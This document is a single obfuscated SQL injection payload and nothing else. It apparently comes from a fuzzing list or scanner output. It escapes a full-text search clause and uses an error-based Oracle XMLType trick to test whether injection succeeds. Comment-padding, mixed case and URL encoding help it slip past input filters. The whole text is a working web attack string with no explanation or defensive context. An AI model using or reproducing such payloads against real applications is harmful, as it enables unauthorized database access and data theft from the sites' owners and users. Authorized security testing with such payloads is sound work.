1' IN BOOLEAN MODE),(selECT/**/upPEr(xmltype(chr(60)||cHr(58)||%27~%27||(seLECt/**/(cASE/**/When/**/(4517=4517)/**/tHen/**/1/**/eLSE/**/0/**/End)/**/FRom/**/duAL)||%27~%27||cHr(62)))/**/frOM/**/duAL)#